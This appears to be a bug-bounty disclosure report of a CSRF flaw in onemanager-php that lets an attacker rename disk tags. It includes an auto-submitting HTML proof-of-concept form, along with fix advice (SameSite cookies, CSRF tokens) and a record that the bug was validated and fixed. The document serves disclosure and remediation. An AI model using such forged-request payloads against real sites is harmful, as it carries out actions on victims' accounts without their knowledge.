Cross-Site Request Forgery (CSRF) in qkqpttgf/onemanager-php

Valid

Reported on

Aug 28th 2021


✍️ Description

Attacker able to rename any disktag with CSRF attack.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.

Or users with low level privilege can send a link to other users and admins with higher privilege and then their malicious request will be executed without that victim users and admins be aware about that.

🕵️‍♂️ Proof of Concept

1.First of all admin or user with right privileges already should be logged in Browser.

2.Open the PoC.html (it is auto-submit).

3.Here Disk with name fsa_20210828_101325 will be renamed to attacker after the PoC.html file opened.

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://obsidian-noble-mouse.glitch.me/?setup&disktag=fsa_20210828_101325" method="POST">
      <input type="hidden" name="disktag&#95;rename" value="fsa&#95;20210828&#95;101325" />
      <input type="hidden" name="disktag&#95;newname" value="attacker" />
      <input type="hidden" name="submit1" value="Rename&#32;Disk&#32;Tag" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions ( with using multiple Iframe )

💥 Impact

This vulnerability is capable of make high damage of availability and integrity of system.

Fix

The easiest way that you set strict attribute on each cookie, Or you set Lax and Use GET requests only for receiving data not changing them.

The best way is that you set a CSRF token in each endpoint.

qkqpttgf validated this vulnerability 2 months ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
qkqpttgf confirmed that a fix has been merged on 920501 2 months ago
qkqpttgf has been awarded the fix bounty